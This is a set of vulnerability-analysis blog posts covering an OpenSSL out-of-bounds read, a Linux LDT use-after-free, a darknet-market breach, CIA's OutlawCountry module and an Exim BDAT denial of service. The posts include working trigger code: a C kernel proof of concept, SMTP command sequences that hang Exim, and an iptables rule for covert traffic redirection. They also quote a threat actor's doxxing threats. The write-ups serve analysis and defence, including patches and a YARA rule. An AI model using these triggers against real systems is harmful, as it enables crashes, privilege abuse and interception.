xorl %eax, %eax

CVE-2017-3735: OpenSSL X.509 IPAddressFamily out-of-bounds read

leave a comment »

On 28 August 2017 the OpenSSL project released a security advisory security that affected all versions since 2006. The vulnerability was discovered by OSS-Fuzz fuzzer and it was fixed by Rich Salz of the OpenSSL development team. The vulnerable code was in crypto/x509v3/v3_addr.c in the function you see below.

/*
 * Extract the AFI from an IPAddressFamily.
 */
unsigned int X509v3_addr_get_afi(const IPAddressFamily *f)
{
    return ((f != NULL &&
             f->addressFamily != NULL && f->addressFamily->data != NULL)
            ? ((f->addressFamily->data[0] << 8) | (f->addressFamily->data[1]))
            : 0);
}

As its name suggests, this routine is designed to extract the AFI (Address Family Identifier) from the IP “addressFamily” element from a X.509 certificate. You can see how this structure is defined in include/openssl/x509v3.h header file below.

typedef struct IPAddressFamily_st {
    ASN1_OCTET_STRING *addressFamily;
    IPAddressChoice *ipAddressChoice;
} IPAddressFamily;

If we check back the code from X509v3_addr_get_afi() we will see that when it’s not returning zero it does the following. Check if “f” is not NULL, check if “f->addressFamily” is not NULL, check if “f->addressFamily->data” is not NULL and then return the AFI based on the data in “f->addressFamily->data[0]” and “f->addressFamily->data[1]”. This seems to have been catching all of the cases but it actually misses one. What if the length of the ASN.1 octet is only one byte? In this case the access to “f->addressFamily->data[1]” will result in an out-of-bounds read by one byte. Below you can see the patch that adds another check which ensures that the “f->addressFamily->length” is not less than two.

@@ -84,10 +84,12 @@ static int length_from_afi(const unsigned afi)
  */
 unsigned int X509v3_addr_get_afi(const IPAddressFamily *f)
 {
-    return ((f != NULL &&
-             f->addressFamily != NULL && f->addressFamily->data != NULL)
-            ? ((f->addressFamily->data[0] << 8) | (f->addressFamily->data[1]))
-            : 0);
+    if (f == NULL
+            || f->addressFamily == NULL
+            || f->addressFamily->data == NULL
+            || f->addressFamily->length < 2)
+        return 0;
+    return (f->addressFamily->data[0] << 8) | f->addressFamily->data[1];
 }

This can be triggered via a X.509 certificate with IPAddressFamily extension having a malformed AFI (Address Family Identifier). The result of is most likely an erroneous certificate.

Written by xorl

December 4, 2017 at 22:50

Posted in vulnerabilities

CVE-2017-17053: Linux kernel LDT use after free

with 2 comments

This vulnerability was reported by Eric Biggers and published in 1 December 2017. It affects Linux kernel before 4.12.10 release if it’s built with “CONFIG_MODIFY_LDT_SYSCALL” option enabled. To better understand this option, below is the description of it from the Linux kernel.

Linux can allow user programs to install a per-process x86 Local
Descriptor Table (LDT) using the modify_ldt(2) system call. This
is required to run 16-bit or segmented code such as DOSEMU or some
Wine programs. It is also used by some very old threading libraries.

Enabling this feature adds a small amount of overhead to context
switches and increases the low-level kernel attack surface. Disabling
it removes the modify_ldt(2) system call.

Saying 'N' here may make sense for embedded or server kernels.

 
To better understand this vulnerability we first need to see how init_new_context_ldt() function handled the errors of memory allocation. As you can see below, if alloc_ldt_struct() fails to allocate the new LDT structure, the init_new_context_ldt() will return an “ENOMEM” (Out of memory) and exit.

/*
 * we do not have to muck with descriptors here, that is
 * done in switch_mm() as needed.
 */
int init_new_context_ldt(struct task_struct *tsk, struct mm_struct *mm)
{
	struct ldt_struct *new_ldt;
	struct mm_struct *old_mm;
	int retval = 0;
   ...
	new_ldt = alloc_ldt_struct(old_mm->context.ldt->size);
	if (!new_ldt) {
		retval = -ENOMEM;
		goto out_unlock;
	}
   ...
out_unlock:
	mutex_unlock(&old_mm->context.lock);
	return retval;
}

This is expected behaviour but if we go to arch/x86/include/asm/mmu_context.h header file we will notice that the return value that init_new_context_ldt() returns is completely ignored by init_new_context() function. This means that even if the LDT structure allocation failed, init_new_context() will still return 0 without detecting the error.

static inline int init_new_context(struct task_struct *tsk,
				   struct mm_struct *mm)
{
   ...
	init_new_context_ldt(tsk, mm);

	return 0;
}

Assuming that a process is running fork() system call and the above situation happens, it means that dup_mm() will be invoked to duplicate the “mm_struct” (Memory Management structure) from the parent process to the child process. You can see this specific snippet from kernel/fork.c below.

/*
 * Allocate a new mm structure and copy contents from the
 * mm structure of the passed in task structure.
 */
static struct mm_struct *dup_mm(struct task_struct *tsk)
{
	struct mm_struct *mm, *oldmm = current->mm;
   ...
	mm = allocate_mm();
	if (!mm)
		goto fail_nomem;

	memcpy(mm, oldmm, sizeof(*mm));
   ...
}

The above could have been okay if the “mm_struct” did not also contain the pointer to the LDT structure. If we look at include/linux/mm_types.h header file we will see that “mm_struct” has this LDT structure reference.

struct mm_struct {
   ...
	/* Architecture-specific MM context */
	mm_context_t context;
   ...
};

Consequently, “mm_context_t” is defined in arch/x86/include/asm/mmu.h header file (for the x86 architecture) and it has a pointer to the LDT structure as you can see here.

/*
 * The x86 doesn't have a mmu context, but
 * we put the segment information here.
 */
typedef struct {
#ifdef CONFIG_MODIFY_LDT_SYSCALL
	struct ldt_struct *ldt;
#endif
   ...
} mm_context_t;

This technically means that the child process will have this pointer pointing to the same LDT structure as the parent process. This means that if the child process exits, this LDT structure pointer will be freed but the parent process will still try to use it. This use-after-free (UAF) vulnerability was fixed by ensuring that init_new_context() will not ignore the return value of init_new_context_ldt() and return whatever it gets from it rather than zero. You can see the patch for it here.

@@ -140,9 +140,7 @@ static inline int init_new_context(struct task_struct *tsk,
 		mm->context.execute_only_pkey = -1;
 	}
 	#endif
-	init_new_context_ldt(tsk, mm);
-
-	return 0;
+	return init_new_context_ldt(tsk, mm);
 }
 static inline void destroy_context(struct mm_struct *mm)
 {

And Eric Biggers who reported this vulnerability also provided a PoC code that triggers the vulnerability. You can see the PoC code below. The code sets the “entry_number” to a very high value to cause the alloc_ldt_struct() to fail because it’s using vmalloc() function. Then it uses fork() system call to spin up a child process which waits for a small interval and then exits. This means that the child process will free the LDT pointer which is also used by the parent process and result in a UAF vulnerability.

#include <asm/ldt.h>
#include <pthread.h>
#include <signal.h>
#include <stdlib.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <unistd.h>

static void *fork_thread(void *_arg)
{
    fork();
}

int main(void)
{
    struct user_desc desc = { .entry_number = 8191 };

    syscall(__NR_modify_ldt, 1, &desc, sizeof(desc));

    for (;;) {
        if (fork() == 0) {
            pthread_t t;

            srand(getpid());
            pthread_create(&t, NULL, fork_thread, NULL);
            usleep(rand() % 10000);
            syscall(__NR_exit_group, 0);
        }
        wait(NULL);
    }
}

Written by xorl

December 3, 2017 at 14:09

Posted in vulnerabilities

Aero market attack and lessons learned

leave a comment »

In case you missed it, yesterday Caleb .S tweeted about this. For the readers who are not familiar, Aero is one of the most popular darknet marketplaces. Unlike other marketplaces, Aero was considered secure and privacy oriented. Sometimes going to extreme levels like what you see below. If you tried to access it with JavaScript being enabled on your browser you were getting the following.



So, what happened there? For the past couple of days the administrators of this popular darknet marketplace say that their servers are under DDoS attack. This is nothing really important or uncommon and the administrators of Aero decided to fight it by spinning up more mirrors.



The plot twist though is that yesterday, threat actor “ChUcKyNbUcKy” stepped up and announced that Aero Server Wallet Tools was hacked on 08 November 2017 after its server got “rooted”. Below is the announcement threat actor “ChUcKyNbUcKy” made in Aero support forums.

ChUcKyNbUcKy successfully hacked the Aero Server Wallet Tools on 11/8/2017 after
previously rooted the host server and acquired administrator privileges. We have
compromised the login system and, after bypassing the 2fa login (10/15/2017), may
change PGP and account accounts and change the provider's PGP keys and collect customer
addresses for public release. The BTC and XMR are currently being channeled into CnB's
primary tumbling wallets, where everything is converted to XMR and "staggers" in a
similar way to BTC.

We do not explain how the core aero server was compromised, but we are not affiliated
with LEO or working in correspondence. However, you are aware of our activities. On the
first day, we started diverting the wallet system (withdrawals and deposits) to various
master wallets, we did about 300k and we worked with it about half of the day.

All announcements made by Aero employees are wrong, and they are essentially doing the
same thing we do now with any transactions to cover the losses, as we initially got admins
worth several BTC before they caught our spoofing method to have. The reason why they are
not completely shut down is that they would probably expect to end the fraud anyway.

To repeat that, we did not manipulate transactions in several days. We had stolen a
considerable amount of BTC in the first few days. The Aero admins fixed it, and that's why
some transactions worked. But she spoofs the wallet of user profiles to a master administrator
wallet that has been used since the launch of aero. And turn it into what they do.

As for doxxing, we are customers of certain vendors that we have targeted, not random customers.
We targeted these specific providers for PGP counterfeits. It was essentially the same method we
used to fake the BTC and XMR Wallet Keys for withdrawal. If you have ordered from INSTANTGRAM, GONEPOSTAL,
TRANQUILTREATS, THENOTORIOUS, EL_CHAPO, UK2UK, STEALTHPHORMIE, NIGHTPEOPLE, PILLENDOSE, REMEDYPLUS,
SOUTHERNWONDERZ, or DGSLABZ, BECAUSE PGP TRANSFERRED YOUR ADDRESS AND ACQUIRED YOUR ADDRESS.
Clean house smile

WE ALSO HAVE THE BTC FROM MANY THOSE SELLERS!

WE WILL DOx CUSTOMERS THERE! smile smile

UPDATE: We are currently targetting fraud and CC vendors wallets. We are directing DDOS on all
mirror links, making it harder for aero admins to steal bitcoin smile

 
The above suggests that threat actor “ChuckyNBucky” (also using the handle “ChuckyNBucky2”) is not only financially motivated but also wants the public attention and prove a point. Based on the above, here is a brief timeline that we can deduce from the post.

  • 15OCT2017: Bypassed 2FA login system
  • ?????2017: Got root access to the host server
  • 08NOV2017: Access to Aero Server Wallet
  • 08NOV2017: Diverting withdrawals and deposits to various master wallets
    ($300k stolen before it got fixed)
  • 02DEC2017: Targetting fraud and credit card vendors’ digital wallets
  • 02DEC2017: DDoS Aero and its mirrors



Although the public announcement makes this an questionable case, there are a few lessons that we can learn from it that even large corporations fail to do. Specifically, the following two.

  • Take responsibility and act. If the provided information is correct it means that even though Aero administrators discovered and fixed the redirection of transactions, they never informed the victims of the attack. This is something very common even in legitimate businesses and it never ends up well.
  • DDoS is not only for disruption. Some, so-called, APT groups have been using DDoS to cover their activities for years now. DDoS provides enough noise and confusion to the victim to provide more time to the attackers. Never treat a DDoS as a common disruption attack, find out WHY it is happening.

Written by xorl

December 3, 2017 at 11:34

Posted in hax

Understanding CIA’s OutlawCountry

leave a comment »

On 30 June 2017 WikiLeaks leaked the manual of OutlawCountry. This is a malicious Linux Kernel Module (LKM) which exists at least since June 2015. Let’s see what it does…



The OutlawCountry is a LKM for Linux kernel 2.6.32 (64-bit CentOS/Red Hat 6.x) which is used to create a hidden NetFilter table (according to the manual the hidden table has hardcoded name “dpxvke8h18”) which later the operator of the malicious LKM can use to issue NAT rules. Below you can see how CIA’s EDG (Engineering Development Group) intended to use this tool.



The concept is that the operator will secretly install OutlawCountry in TARG_1 and then use it to re-route the traffic between WEST_2 and EAST_3, EAST_4, and EAST_5. Basically, this can be done to either covertly eavesdrop on traffic transmitted or redirect specific traffic to a CIA controlled system. Below you see an example from its manual where all traffic from IP address 1.1.1.1 to IP address 2.2.2.2 on port 33/tcp is redirected to IP address 4.4.4.4 on port 55/tcp.

 iptables -t dpxvke8h18 -A PREROUTING \
        -p tcp -s 1.1.1.1 -d 2.2.2.2 --dport 33 \
        -j DNAT --to-destination 4.4.4.4:55

The installation and removal of the module is done via standard Linux module management commands (insmod, rmmod) except “modprobe” which doesn’t work as the module is not in “modules.dep” file. To check whether you are infected from this specific version of OutlawCountry it is as simple as checking for the existence of this table name with a command like the following.

iptables -t dpxvke8h18 -L -nv

Also, just like normal NAT iptables, it requires IP forwarding to be set (so /proc/sys/net/ipv4/ip_forward must be set to 1) and if iptables service is restarted, the OutlawCountry goes into “dormant” state in which it will be loaded but the hidden table will no longer be present. To re-enable it, the operator has to remove and install the kernel module again. Unfortunately, WikiLeaks did not release the source code of the tool. So, based purely on the documentation provided you can use the following simple “CIA_OutlawCountry.yar” YARA rule I wrote to search for it on your Linux systems.

import "hash"

rule OutlawCountry
{
    meta:
        author = "Anastasios Pingios (xorl)"
        description = "CIA OutlawCountry v1.0 LKM signature"
        filename = "nf_table_6_64.ko"
		filename = "nf_table.ko"
        reference = "https://wikileaks.org/vault7/document/OutlawCountry_v1_0_User_Manual/OutlawCountry_v1_0_User_Manual.pdf"
        date = "02-12-2017"

    strings:
        $s1 = "dpxvke8h18" ascii

    condition:
        $s1 or
        filesize < 10KB and
        hash.md5(0, filesize) == "2cb8954a3e683477aa5a084964d4665d"  
}

Written by xorl

December 2, 2017 at 18:45

CVE-2017-16944: Exim BDAT infinite loop remote DoS

leave a comment »

The new Exim release announced by Phil Pennock includes a remote denial-of-service via specially crafted BDAT command. Below you can see a brief description of BDAT command as defined in RFC 3030 (SMTP Service Extensions for Transmission of Large and Binary MIME Messages).

   3) A new SMTP verb, BDAT, is defined as an alternative to the "DATA"
      command of [RFC821].  The BDAT verb takes two arguments.  The
      first argument indicates the length, in octets, of the binary data
      chunk.  The second optional argument indicates that the data chunk
      is the last.

      bdat-cmd   ::= "BDAT" SP chunk-size [ SP end-marker ] CR LF
      chunk-size ::= 1*DIGIT
      end-marker ::= "LAST"

 
This vulnerability in Exim was reported by a user with the handle “meh” and it starts in receive_msg() function which is part of receive.c and it is used to handle the received messages that the clients send to the SMTP server. You can see the relevant code snippet below.

BOOL
receive_msg(BOOL extract_recip)
{
    ...
  /* This is not the end of the line. If this is SMTP input and this is
  the first character in the line and it is a "." character, ignore it.
  This implements the dot-doubling rule, though header lines starting with
  dots aren't exactly common. They are legal in RFC 822, though. If the
  following is CRLF or LF, this is the line that that terminates the
  entire message. We set message_ended to indicate this has happened (to
  prevent further reading), and break out of the loop, having freed the
  empty header, and set next = NULL to indicate no data line. */

  if (ptr == 0 && ch == '.' && (smtp_input || dot_ends))
    {
    ch = (receive_getc)(GETC_BUFFER_UNLIMITED);
    if (ch == '\r')
      {
      ch = (receive_getc)(GETC_BUFFER_UNLIMITED);
      if (ch != '\n')
        {
        receive_ungetc(ch);
        ch = '\r';              /* Revert to CR */
        }
      }
    ...
}

The above code looks for a “.” to mark the end of the email which however is not valid for BDAT command as we can read from the RFC. This undefined behaviour results in “receive_getc” variable not getting reset. Because of this, both “receive_getc” and “lwr_receive_getc” become the same and as a result of this bdat_getc() function from src/smtp_in.c results in an infinite loop. To trigger this, “meh” provided the following PoC SMTP commands.

EHLO localhost
MAIL FROM:<test@localhost>
RCPT TO:<test@localhost>
BDAT 10
.
BDAT 0

He also noticed that you can cause Exim to hang without running out of memory by issuing the following SMTP commands.

EHLO localhost
MAIL FROM:<test@localhost>
RCPT TO:<test@localhost>
BDAT 100
.
MAIL FROM:<test@localhost>
RCPT TO:<test@localhost>
BDAT 0 LAST

To fix this vulnerability, Exim was patched to handle the dot termination accordingly. Below you can see the diff from the patch that fixed this vulnerability.

 src/src/receive.c | 2 +-
 src/src/smtp_in.c | 7 +++++++
 2 files changed, 8 insertions(+), 1 deletion(-)

diff --git a/src/src/receive.c b/src/src/receive.c
index 541eba1..417e975 100644
--- a/src/src/receive.c
+++ b/src/src/receive.c
@@ -1865,7 +1865,7 @@ for (;;)
   prevent further reading), and break out of the loop, having freed the
   empty header, and set next = NULL to indicate no data line. */
 
-  if (ptr == 0 && ch == '.' && (smtp_input || dot_ends))
+  if (ptr == 0 && ch == '.' && dot_ends)
     {
     ch = (receive_getc)(GETC_BUFFER_UNLIMITED);
     if (ch == '\r')
diff --git a/src/src/smtp_in.c b/src/src/smtp_in.c
index 1fdb705..0aabc53 100644
--- a/src/src/smtp_in.c
+++ b/src/src/smtp_in.c
@@ -5094,17 +5094,24 @@ while (done <= 0)
       DEBUG(D_receive) debug_printf("chunking state %d, %d bytes\n",
 				    (int)chunking_state, chunking_data_left);
 
+      /* push the current receive_* function on the "stack", and
+      replace them by bdat_getc(), which in turn will use the lwr_receive_*
+      functions to do the dirty work. */
       lwr_receive_getc = receive_getc;
       lwr_receive_getbuf = receive_getbuf;
       lwr_receive_ungetc = receive_ungetc;
+
       receive_getc = bdat_getc;
       receive_ungetc = bdat_ungetc;
 
+      dot_ends = FALSE;
+
       goto DATA_BDAT;
       }
 
     case DATA_CMD:
     HAD(SCH_DATA);
+    dot_ends = TRUE;
 
     DATA_BDAT:		/* Common code for DATA and BDAT */
     if (!discarded && recipients_count <= 0)

Written by xorl

December 2, 2017 at 17:55

Posted in vulnerabilities